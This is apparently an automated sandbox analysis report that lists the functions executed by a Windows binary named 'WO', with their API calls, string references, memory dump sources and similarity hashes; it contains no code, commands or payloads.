Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	814
Total number of Limit Nodes:	20

Executed Functions

Function 000000014000D9C4 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

GetTempPathW.KERNEL32 ref: 000000014000D9F3
LoadLibraryW.KERNEL32 ref: 000000014000DA02
GetProcAddress.KERNEL32 ref: 000000014000DA1D
GetLongPathNameW.KERNELBASE(?,?,?,0000000140001F92), ref: 000000014000DA31
FreeLibrary.KERNEL32 ref: 000000014000DA38

Strings

Kernel32.DLL, xrefs: 000000014000D9F9
GetLongPathNameW, xrefs: 000000014000DA13

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 820969696-2943376620
Opcode ID: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction ID: 08c74a34c6d82e646fe97c561cc400b119dc1938ee8d5d8dcc972cb306c03a44
Opcode Fuzzy Hash: 7b5facb765f8cdd7be91ebb16a2403b7b75564631065215e584da20e470a0f22
Instruction Fuzzy Hash: 17116D31721B4086EF159F27A9843A967A1FB8CFC0F481029EF4E4B7A5DE39C8528340

Function 0000000140001E57 Relevance: 9.3, APIs: 6, Instructions: 259
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 000000014000CA00: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,0000000140002CF1), ref: 000000014000CA47

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 000000014000DA6C: SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
Part of subcall function 000000014000DA6C: DeleteFileW.KERNEL32 ref: 000000014000DA95

Part of subcall function 000000014000D914: wcsncpy.MSVCRT ref: 000000014000D932
Part of subcall function 000000014000D914: wcslen.MSVCRT ref: 000000014000D944
Part of subcall function 000000014000D914: CreateDirectoryW.KERNEL32 ref: 000000014000D994

GetTempFileNameW.KERNEL32 ref: 0000000140002040

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetTempFileNameW.KERNEL32 ref: 00000001400020C1
PathAddBackslashW.SHLWAPI ref: 00000001400020CD
PathRenameExtensionW.SHLWAPI ref: 000000014000212E
GetTempFileNameW.KERNEL32 ref: 0000000140002153

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: File$NameTemp$Heap$AllocErrorLastPathValue$AttributesBackslashCreateDeleteDirectoryExtensionFreeRenamememmovewcslenwcsncpy
String ID:
API String ID: 4232179356-0
Opcode ID: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction ID: 2ef6d83f5e2b3c8fb19d65fceeff62dc40447b47a2c1a218917e14d6a90cbc88
Opcode Fuzzy Hash: f37d14f45d1a2abd6f91fd25c4a0b9dbf2c58692b7ebd1d65ebe457cd595aad6
Instruction Fuzzy Hash: E38162FBE69644E5EA07B763BC86BED5220D3AD3D4F504410FF08062A3EE3995E64B10

Function 000000014000DE50 Relevance: 9.2, APIs: 6, Instructions: 151
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400112A8: EnterCriticalSection.KERNEL32 ref: 00000001400112C4
Part of subcall function 00000001400112A8: LeaveCriticalSection.KERNEL32 ref: 0000000140011355

CreateFileW.KERNEL32 ref: 000000014000DEED
CreateFileW.KERNEL32 ref: 000000014000DF37
CreateFileW.KERNEL32 ref: 000000014000DF7E
CreateFileW.KERNEL32 ref: 000000014000DFAC
HeapAlloc.KERNEL32 ref: 000000014000DFED
SetFilePointer.KERNEL32 ref: 000000014000E047

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: File$Create$CriticalSection$AllocEnterHeapLeavePointer
String ID:
API String ID: 2685021396-0
Opcode ID: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction ID: 9fd7d13fb8664e67d48ce56ae15862c74b29b4b7423edb5d501112f331116329
Opcode Fuzzy Hash: bf349e5ae30ca8a1459a9c900c950eddfabbaec973a548aea2fdccc3e75a92be
Instruction Fuzzy Hash: 2B51D4B261469086E761CF17F9007AA7690B39CBE4F04873AFF6A47BE4DB79C4419B10

Function 000000014000593C Relevance: 7.0, APIs: 4, Instructions: 980
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012450: wcslen.MSVCRT ref: 000000014001246E

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

Part of subcall function 0000000140012210: HeapReAlloc.KERNEL32 ref: 0000000140012293

GetModuleHandleW.KERNEL32 ref: 00000001400061AE

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 00000001400125D0: TlsGetValue.KERNEL32 ref: 00000001400125DA

Part of subcall function 0000000140007DC0: CharUpperW.USER32 ref: 0000000140007E24

Part of subcall function 0000000140001E57: GetTempFileNameW.KERNEL32 ref: 0000000140001FBF

PathRemoveBackslashW.SHLWAPI ref: 00000001400063A7

Part of subcall function 0000000140012520: TlsGetValue.KERNEL32 ref: 000000014001252A

Part of subcall function 000000014000C45C: SetEnvironmentVariableW.KERNEL32 ref: 000000014000C476

PathQuoteSpacesW.SHLWAPI ref: 00000001400064FF
PathQuoteSpacesW.SHLWAPI ref: 000000014000656B

Part of subcall function 0000000140007284: CreateThread.KERNEL32 ref: 00000001400072B3
Part of subcall function 0000000140007284: EnterCriticalSection.KERNEL32 ref: 00000001400072CC
Part of subcall function 0000000140007284: LeaveCriticalSection.KERNEL32 ref: 0000000140007344

Part of subcall function 0000000140012360: HeapFree.KERNEL32 ref: 000000014001237F

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Value$HeapPath$AllocCriticalErrorLastQuoteSectionSpaces$BackslashCharCreateEnterEnvironmentFileFreeHandleLeaveModuleNameRemoveTempThreadUpperVariablewcslen
String ID:
API String ID: 2499486723-0
Opcode ID: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction ID: 5e2f233be3bb1e1a489454234068146e28d45b36aeb09ace1181e30b51997f55
Opcode Fuzzy Hash: 01fd8b8b98fab0c980f96e61b2251792a09e9ddd7d05bec7d734751dcc1b6e06
Instruction Fuzzy Hash: 6C722BB6E25548D6EA16B7B7B8877E95220A3AD394F500411FF4C0B363EE39C5F64B10

Function 000000014000E620 Relevance: 6.1, APIs: 4, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32 ref: 000000014000E664
memmove.MSVCRT(?,?,?,?,?,000000014000E5DD), ref: 000000014000E69F

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: FilePointermemmove
String ID:
API String ID: 2366752189-0
Opcode ID: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction ID: b9f44d82ba4cb6c24f152d63ce96d8852f082d92484b54d7365d071901ec84b9
Opcode Fuzzy Hash: b4f1478b6fdc608b573b2d6bb241fddc82556d2816959310d2dbf51914ce2f41
Instruction Fuzzy Hash: 7541837770468086DB01CF7AF1402ADF7A4EB98BD9F084426EF4C43BA5DA39C591CB50

Function 0000000140001000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 112
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140012060: HeapCreate.KERNEL32 ref: 000000014001206E
Part of subcall function 0000000140012060: TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 000000014000C980: HeapCreate.KERNEL32 ref: 000000014000C98E

Part of subcall function 000000014000B538: memset.MSVCRT ref: 000000014000B547
Part of subcall function 000000014000B538: InitCommonControlsEx.COMCTL32 ref: 000000014000B561
Part of subcall function 000000014000B538: CoInitialize.OLE32 ref: 000000014000B569

Part of subcall function 00000001400120D0: HeapAlloc.KERNEL32 ref: 0000000140012123

Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD11
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CD42
Part of subcall function 000000014000CCD8: HeapAlloc.KERNEL32 ref: 000000014000CDB2

Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D56E
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D58F
Part of subcall function 000000014000D524: HeapFree.KERNEL32 ref: 000000014000D5A1

Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D476
Part of subcall function 000000014000D444: HeapAlloc.KERNEL32 ref: 000000014000D491

Part of subcall function 0000000140011D30: HeapAlloc.KERNEL32 ref: 0000000140011D82
Part of subcall function 0000000140011D30: memset.MSVCRT ref: 0000000140011DB6

Part of subcall function 00000001400120D0: HeapReAlloc.KERNEL32 ref: 0000000140012151
Part of subcall function 00000001400120D0: HeapFree.KERNEL32 ref: 0000000140012194

Part of subcall function 000000014000C4D0: RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
Part of subcall function 000000014000C4D0: AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Part of subcall function 00000001400121C0: GetLastError.KERNEL32 ref: 00000001400121C4
Part of subcall function 00000001400121C0: TlsGetValue.KERNEL32 ref: 00000001400121D4
Part of subcall function 00000001400121C0: SetLastError.KERNEL32 ref: 00000001400121F1

Part of subcall function 0000000140012210: TlsGetValue.KERNEL32 ref: 0000000140012223
Part of subcall function 0000000140012210: HeapAlloc.KERNEL32 ref: 0000000140012266

HeapDestroy.KERNEL32 ref: 000000014000124C
ExitProcess.KERNEL32 ref: 0000000140001258

Strings

0w, xrefs: 00000001400010C5

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: Heap$Alloc$Free$CreateErrorExceptionHandlerLastValueVectoredmemset$CommonControlsDestroyExitInitInitializeProcessRemove
String ID: 0w
API String ID: 1207063833-4020514967
Opcode ID: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction ID: 5ef5c56730dbad915fac233b77092dd37bc53bc4ec3343fa221c1b372e2f6746
Opcode Fuzzy Hash: 06dbeff3fd86c6695b84df31992dbf02651ab7d441abcdbe23a8bedf592c97f1
Instruction Fuzzy Hash: 9D510AF0A11A4081FA03F7A3F8527E926559B9D7D0F808119BF1D1B3F3DD3A86598B22

Function 000000014000E3F0 Relevance: 4.6, APIs: 3, Instructions: 67
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32 ref: 000000014000E472
WriteFile.KERNEL32 ref: 000000014000E4D6
HeapFree.KERNEL32 ref: 000000014000E4E8

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: FileWrite$FreeHeap
String ID:
API String ID: 74418370-0
Opcode ID: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction ID: 9d08b72cfe526555b527e3d6fc60fa1eae748afb3cf0625e1a419d858907832f
Opcode Fuzzy Hash: 3e7180477ba1f40fccd38ab851f43380a29ccb8c1311c53bf450c0723d734870
Instruction Fuzzy Hash: 43317EB2205A8082EB22DF16E0453A9B7B0F789BD4F548515EB59577F4DF3EC488CB00

Function 000000014000E770 Relevance: 4.6, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32 ref: 000000014000E7A9
HeapAlloc.KERNEL32 ref: 000000014000E7CA
WideCharToMultiByte.KERNEL32 ref: 000000014000E7F8

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeap
String ID:
API String ID: 3475569825-0
Opcode ID: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction ID: ae5164d7e213c5423ce426761272d4060c1fe25f0e8d52ef4d31f29a04fa76ea
Opcode Fuzzy Hash: 49eb562b8cb434ff95f7e7d63f5ecf434c56baadcc58e4f799a86c336de5446e
Instruction Fuzzy Hash: D9112B72615B8082E754DF26B84435AB7A5FBC8BD0F148228EF9D63BA4DF38C5229704

Function 000000014000D914 Relevance: 4.5, APIs: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncpy.MSVCRT ref: 000000014000D932
wcslen.MSVCRT ref: 000000014000D944
CreateDirectoryW.KERNEL32 ref: 000000014000D994

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CreateDirectorywcslenwcsncpy
String ID:
API String ID: 961886536-0
Opcode ID: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction ID: 5f5e6732187473c7e9a992da28a106256b0abf82a063e4d7cd37b44a9c7c83f6
Opcode Fuzzy Hash: fa21f94af638c1889f77ff21a456a4ec01e86cfe5917c6a19cc66424906e9b15
Instruction Fuzzy Hash: 100188A621264191EF72DB65E0643E9B350F78C7C4F804523FB8D036A8EE3DC645CB14

Function 000000014000B538 Relevance: 4.5, APIs: 3, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 000000014000B547
InitCommonControlsEx.COMCTL32 ref: 000000014000B561
CoInitialize.OLE32 ref: 000000014000B569

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CommonControlsInitInitializememset
String ID:
API String ID: 2179856907-0
Opcode ID: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction ID: 449a974473b47bcf77cc2e9d1d873e7016711834fb404a36d393ff203d460c1f
Opcode Fuzzy Hash: 1d0403c036cf950124697b7ff717d38e0227670877df9763daf1147e72240267
Instruction Fuzzy Hash: E0E0E27263658092E785EB22E8857AEB260FB88748FC06105F38B469A5CF3DC659CF00

Function 0000000140012210 Relevance: 3.8, APIs: 3, Instructions: 51
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32 ref: 0000000140012223
HeapAlloc.KERNEL32 ref: 0000000140012266
HeapReAlloc.KERNEL32 ref: 0000000140012293

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$Value
String ID:
API String ID: 3898337583-0
Opcode ID: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction ID: 13d1d2221b5dfffbe944c94766c5cf34ad854dcf92a9a233d77868c63a58341b
Opcode Fuzzy Hash: 8fb7bdff1a5ea7f5a6416ebb7e65581105b868b3e6afb08efbefc70494558fec
Instruction Fuzzy Hash: BA21A336609B40C6DA21CB5AE89136AB7A1F7CDBD4F108126EB8D87B38DF3DC5518B00

Function 00000001400029C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetExitCodeProcess.KERNEL32 ref: 0000000140002ADD

Strings

open, xrefs: 0000000140002A68, 0000000140002A75

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: CodeExitProcess
String ID: open
API String ID: 3861947596-2758837156
Opcode ID: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction ID: e85bff13557fc8eee7e7e221a0258bb1a2e766680f88975b06e903b36e14beee
Opcode Fuzzy Hash: b7feb277e73c6429ec278226bbe6df587e3a7ad8db4220ec3f4f0566a99c26d5
Instruction Fuzzy Hash: 44315E73A19A84D9DA619B6AF8417EE6364F388784F404415FF8D07B6ADF3CC2958B40

Function 0000000140002930 Relevance: 3.0, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400123E0: TlsGetValue.KERNEL32 ref: 00000001400123F8

RemoveDirectoryW.KERNEL32(00000000,?,0000000140003010), ref: 000000014000299C
RemoveDirectoryW.KERNEL32(?,0000000140003010), ref: 00000001400029A8

Part of subcall function 0000000140007170: WaitForSingleObject.KERNEL32 ref: 0000000140007187

Part of subcall function 000000014000720C: TerminateThread.KERNEL32 ref: 0000000140007223
Part of subcall function 000000014000720C: EnterCriticalSection.KERNEL32 ref: 0000000140007230

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: DirectoryRemove$CriticalEnterObjectSectionSingleTerminateThreadValueWait
String ID:
API String ID: 547990026-0
Opcode ID: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction ID: 7a41e47de86a43ff34abb2becfbad555fd020f9bfb046cc2ed969e3c0c855493
Opcode Fuzzy Hash: de809ab9685b3f463e7d0b476c7a816dcb7d80807795b0b8c6412b9b34da734e
Instruction Fuzzy Hash: 0F01FFF5509B01E5F923BB63BC02BDA6B61E74E3E0F409405BB89131B3DE3DD9849610

Function 000000014000C4D0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C8A5
AddVectoredExceptionHandler.KERNEL32 ref: 000000014000C8C0

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerVectored$Remove
String ID:
API String ID: 3670940754-0
Opcode ID: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction ID: 54ed52b0d94e107c171475cce83a86a7777a808cb3853d4771323e3d57a36066
Opcode Fuzzy Hash: 24e0dcc2aecd05812467741a67881873fe67c89a035702fa94287bcbf95b7463
Instruction Fuzzy Hash: 8AF0ED7061370485FE5BDB93B8987F472A0AB4C7C0F184029BB49076719F3C88A48348

Function 000000014000DA6C Relevance: 3.0, APIs: 2, Instructions: 19
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesW.KERNEL32 ref: 000000014000DA8C
DeleteFileW.KERNEL32 ref: 000000014000DA95

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction ID: adf2a79140fabccb03c20fd21f07aa3af446659453137af282c5310bbe8ffc9f
Opcode Fuzzy Hash: 55319c824811060fb78973d35cd1766170822acc88010ad74a6f5b99716599dc
Instruction Fuzzy Hash: 48E05BB471910195FB6BD7A778153F521419F8D7D1F184121AB42071B0EF3D44C55222

Function 0000000140012060 Relevance: 3.0, APIs: 2, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32 ref: 000000014001206E
TlsAlloc.KERNEL32 ref: 000000014001207B

Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C03
Part of subcall function 0000000140012BF0: HeapAlloc.KERNEL32 ref: 0000000140012C1D
Part of subcall function 0000000140012BF0: TlsSetValue.KERNEL32 ref: 0000000140012C50

Memory Dump Source

Source File: 00000012.00000002.1814906077.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000012.00000002.1814875575.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814939105.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1814978834.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000012.00000002.1815015404.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_140000000_WO.jbxd

Similarity

API ID: AllocHeap$CreateValue
String ID:
API String ID: 493873155-0
Opcode ID: 9e0d5e764e4f7f0553988baf76ecb42ee58d508d85325be61ca51fd0dfb33207
Instruction ID: 66307e28580f649ba8418ae6b9c958ace7f1b69875393c61862d084d03b91818
